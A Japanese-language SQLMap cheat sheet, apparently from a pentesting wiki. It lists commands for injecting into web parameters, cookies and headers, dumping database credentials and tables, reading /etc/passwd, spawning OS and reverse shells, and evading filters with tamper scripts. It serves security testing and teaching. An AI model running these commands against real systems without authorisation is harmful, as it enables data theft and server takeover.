# SQLMap - チートシート {{#include ../../../banners/hacktricks-training.md}} ## SQLmapの基本引数 ### 一般的な ```bash -u "" -p "" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 #MAX --level=5 #MAX --dbms="" --os="" --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --auth-type="" #HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred="" #HTTP authentication credentials (name:password) --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` ### 情報の取得 #### 内部 ```bash --current-user #Get current user --is-dba #Check if current user is Admin --hostname #Get hostname --users #Get usernames od DB --passwords #Get passwords of users in DB --privileges #Get privileges ``` #### DBデータ ```bash --all #Retrieve everything --dump #Dump DBMS database table entries --dbs #Names of the available databases --tables #Tables of a database ( -D ) --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` [SQLMapping](https://taurusomar.github.io/sqlmapping/)を使用すると、SQLMapの基本的および高度なコマンドを生成し、完全な概要を提供する実用的なツールです。ツールの各側面を説明するToolTipsが含まれており、すべてのオプションを詳細に説明しているため、効率的かつ効果的に使用する方法を改善し理解することができます。 ## インジェクション場所 ### Burp/ZAPキャプチャから リクエストをキャプチャし、req.txtファイルを作成します。 ```bash sqlmap -r req.txt --current-user ``` ### GETリクエストインジェクション ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ### POSTリクエストインジェクション ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### ヘッダーおよびその他のHTTPメソッドにおけるインジェクション ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ### インジェクションが成功したときの文字列を示す ```bash --string="string_showed_when_TRUE" ``` ### 検出技術の追加 SQLiを見つけたがsqlmapが検出しなかった場合、`--prefix`や`--suffix`のような引数を使って検出技術を強制することができます。また、より複雑な場合は、例えば時間盲検出に基づくペイロードをsqlmapが使用する`/usr/share/sqlmap/data/xml/payloads/time_blind.xml`に追加することができます。 ### Eval **Sqlmap**は、`-e`または`--eval`を使用して、ペイロードを送信する前に処理することを許可します。これにより、送信する前にペイロードをカスタム方式で非常に簡単かつ迅速に処理できます。次の例では、**flask cookie session** **は、送信する前に既知の秘密でflaskによって署名されています**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` ### シェル ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ### ファイルを読む ```bash --file-read=/etc/passwd ``` ### SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトする ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ### セカンドオーダーインジェクション ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` [**この記事を読む** ](second-order-injection-sqlmap.md)**sqlmapを使用してシンプルおよび複雑なセカンドオーダーインジェクションを実行する方法について。** ## インジェクションのカスタマイズ ### サフィックスを設定する ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### プレフィックス ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ### ブールインジェクションの発見を手伝う ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper 覚えておいてください、**自分自身のタムパーをPythonで作成することができます**、そしてそれは非常に簡単です。タムパーの例は[Second Order Injection page here](second-order-injection-sqlmap.md)にあります。 ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Description | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | アポストロフィ文字をそのUTF-8全幅の対応文字に置き換えます。 | | apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応文字に置き換えます。 | | appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 | | base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 | | between.py | 大なり演算子('>')を「NOT BETWEEN 0 AND #」に置き換えます。 | | bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字「=」をLIKE演算子に置き換えます。 | | chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 | | commalesslimit.py | 「LIMIT M, N」のようなインスタンスを「LIMIT N OFFSET M」に置き換えます。 | | commalessmid.py | 「MID(A, B, C)」のようなインスタンスを「MID(A FROM B FOR C)」に置き換えます。 | | concat2concatws.py | 「CONCAT(A, B)」のようなインスタンスを「CONCAT_WS(MID(CHAR(0), 0, 0), A, B)」に置き換えます。 | | charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 | | charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "%u0022" | | charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "\u0022" | | equaltolike.py | 演算子「=」のすべての出現を演算子「LIKE」に置き換えます。 | | escapequotes.py | クォート(' と ")をスラッシュでエスケープします。 | | greatest.py | 大なり演算子('>')を「GREATEST」対応に置き換えます。 | | halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 | | ifnull2ifisnull.py | 「IFNULL(A, B)」のようなインスタンスを「IF(ISNULL(A), B, A)」に置き換えます。 | | modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 | | modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 | | multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 | | nonrecursivereplacement.py | 事前定義されたSQLキーワードを置き換えに適した表現に置き換えます(例:.replace("SELECT", "")フィルター)。 | | percentage.py | 各文字の前にパーセント記号('%')を追加します。 | | overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 | | randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 | | randomcomments.py | SQLキーワードにランダムなコメントを追加します。 | | securesphere.py | 特別に作成された文字列を追加します。 | | sp_password.py | 自動的にDBMSログからの難読化のためにペイロードの末尾に「sp_password」を追加します。 | | space2comment.py | スペース文字(' ')をコメントに置き換えます。 | | space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 | | space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 | | space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 | | space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 | | space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後に改行('\n')を追加します。 | | space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 | | space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します。 | | space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 | | space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 | | symboliclogical.py | ANDおよびOR論理演算子をその記号対応(&&および)に置き換えます。 | | unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 | | unmagicquotes.py | クォート文字(')をマルチバイトコンボ%bf%27に置き換え、最後に一般的なコメントを追加します(機能させるため)。 | | uppercase.py | 各キーワード文字を大文字の「INSERT」に置き換えます。 | | varnish.py | HTTPヘッダー「X-originating-IP」を追加します。 | | versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 | | versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 | {{#include ../../../banners/hacktricks-training.md}}